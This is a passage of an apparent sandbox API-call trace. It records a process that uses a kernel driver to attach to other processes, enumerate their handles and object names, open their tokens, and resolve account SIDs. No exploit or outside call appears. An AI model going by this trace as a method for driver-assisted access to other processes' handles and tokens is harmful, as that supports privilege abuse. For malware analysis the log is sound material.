ApcState=0xfffff880044355d0) [0123.194] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002128070, HandleInformation=0x0) returned 0x0 [0123.195] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.195] PsReleaseProcessExitSynchronization () returned 0x2 [0123.195] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0123.195] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.195] ObfDereferenceObject (Object=0xfffffa8002128070) returned 0x1 [0123.195] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.195] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.195] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.195] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0123.195] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.195] PsAcquireProcessExitSynchronization () returned 0x0 [0123.195] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880044355d0) [0123.195] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001ff4f20, HandleInformation=0x0) returned 0x0 [0123.195] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.195] PsReleaseProcessExitSynchronization () returned 0x2 [0123.195] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0123.195] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.195] ObfDereferenceObject (Object=0xfffffa8001ff4f20) returned 0x1 [0123.195] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.195] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.195] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.195] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.195] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.195] PsAcquireProcessExitSynchronization () returned 0x0 [0123.195] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880044355d0) [0123.195] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.195] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.195] PsReleaseProcessExitSynchronization () returned 0x2 [0123.195] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0123.195] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.195] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.195] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.196] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.196] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa60) returned 0xc0 [0123.196] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.196] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002001330, HandleInformation=0x0) returned 0x0 [0123.196] ObOpenObjectByPointer (in: Object=0xfffffa8002001330, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.196] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x12 [0123.196] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.196] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.196] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.196] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.196] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.381] CloseHandle (hObject=0xc8) returned 1 [0123.381] CloseHandle (hObject=0xc0) returned 1 [0123.381] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.381] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.381] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.382] PsAcquireProcessExitSynchronization () returned 0x0 [0123.382] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880044355d0) [0123.382] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002001bd0, HandleInformation=0x0) returned 0x0 [0123.382] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.382] PsReleaseProcessExitSynchronization () returned 0x2 [0123.382] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0123.382] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.382] ObfDereferenceObject (Object=0xfffffa8002001bd0) returned 0x1 [0123.382] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.382] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.382] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.382] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.382] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.382] PsAcquireProcessExitSynchronization () returned 0x0 [0123.382] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880044355d0) [0123.382] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020b71b0, HandleInformation=0x0) returned 0x0 [0123.382] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.382] PsReleaseProcessExitSynchronization () returned 0x2 [0123.382] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0123.382] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435508) returned 0x0 [0123.382] ObfDereferenceObject (Object=0xfffffa80020b71b0) returned 0x1 [0123.382] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.382] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.382] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.383] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.383] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.383] PsAcquireProcessExitSynchronization () returned 0x0 [0123.383] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880044355d0) [0123.383] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.383] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.383] PsReleaseProcessExitSynchronization () returned 0x2 [0123.383] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0123.383] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0123.383] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.383] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.383] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.383] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa70) returned 0xc0 [0123.383] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.383] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020c2b30, HandleInformation=0x0) returned 0x0 [0123.383] ObOpenObjectByPointer (in: Object=0xfffffa80020c2b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.383] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x12 [0123.383] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.383] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.383] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.383] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.383] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.384] CloseHandle (hObject=0xc8) returned 1 [0123.385] CloseHandle (hObject=0xc0) returned 1 [0123.385] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.385] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.385] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.385] PsAcquireProcessExitSynchronization () returned 0x0 [0123.385] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880044355d0) [0123.385] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002069b00, HandleInformation=0x0) returned 0x0 [0123.385] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.385] PsReleaseProcessExitSynchronization () returned 0x2 [0123.385] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0123.385] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0123.385] ObfDereferenceObject (Object=0xfffffa8002069b00) returned 0x1 [0123.385] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.385] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.385] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.385] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0123.385] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.385] PsAcquireProcessExitSynchronization () returned 0x0 [0123.385] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880044355d0) [0123.385] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800207a800, HandleInformation=0x0) returned 0x0 [0123.385] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.385] PsReleaseProcessExitSynchronization () returned 0x2 [0123.385] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0123.385] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.386] ObfDereferenceObject (Object=0xfffffa800207a800) returned 0x1 [0123.386] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.386] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.386] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.386] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.386] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.386] PsAcquireProcessExitSynchronization () returned 0x0 [0123.386] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880044355d0) [0123.386] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.386] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.386] PsReleaseProcessExitSynchronization () returned 0x2 [0123.386] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0123.386] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0123.386] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.386] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.386] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.386] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa80) returned 0xc0 [0123.386] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.386] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020a64e0, HandleInformation=0x0) returned 0x0 [0123.386] ObOpenObjectByPointer (in: Object=0xfffffa80020a64e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000970) returned 0x0 [0123.386] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x12 [0123.386] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa80021822c0 | out: TokenHandle=0xfffffa80021822c0*=0xc8) returned 0x0 [0123.386] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0123.386] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.386] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.386] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.388] CloseHandle (hObject=0xc8) returned 1 [0123.388] CloseHandle (hObject=0xc0) returned 1 [0123.388] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.388] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.388] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.388] PsAcquireProcessExitSynchronization () returned 0x0 [0123.388] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880044355d0) [0123.388] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020a6e10, HandleInformation=0x0) returned 0x0 [0123.388] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.388] PsReleaseProcessExitSynchronization () returned 0x2 [0123.388] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0123.388] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800371b7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800371b7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.388] ObfDereferenceObject (Object=0xfffffa80020a6e10) returned 0x1 [0123.388] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.388] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.388] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.388] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0123.388] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.388] PsAcquireProcessExitSynchronization () returned 0x0 [0123.388] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880044355d0) [0123.388] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020b2f20, HandleInformation=0x0) returned 0x0 [0123.388] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.388] PsReleaseProcessExitSynchronization () returned 0x2 [0123.388] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0123.388] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435508) returned 0x0 [0123.389] ObfDereferenceObject (Object=0xfffffa80020b2f20) returned 0x1 [0123.389] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.389] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.389] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.389] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.389] PsLookupProcessByProcessId (in: ProcessId=0xa80, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.389] PsAcquireProcessExitSynchronization () returned 0x0 [0123.389] KeStackAttachProcess (in: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020a64e0, ApcState=0xfffff880044355d0) [0123.389] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.389] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.389] PsReleaseProcessExitSynchronization () returned 0x2 [0123.389] ObfDereferenceObject (Object=0xfffffa80020a64e0) returned 0x10 [0123.389] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0123.389] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.389] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.389] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.389] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa90) returned 0xc0 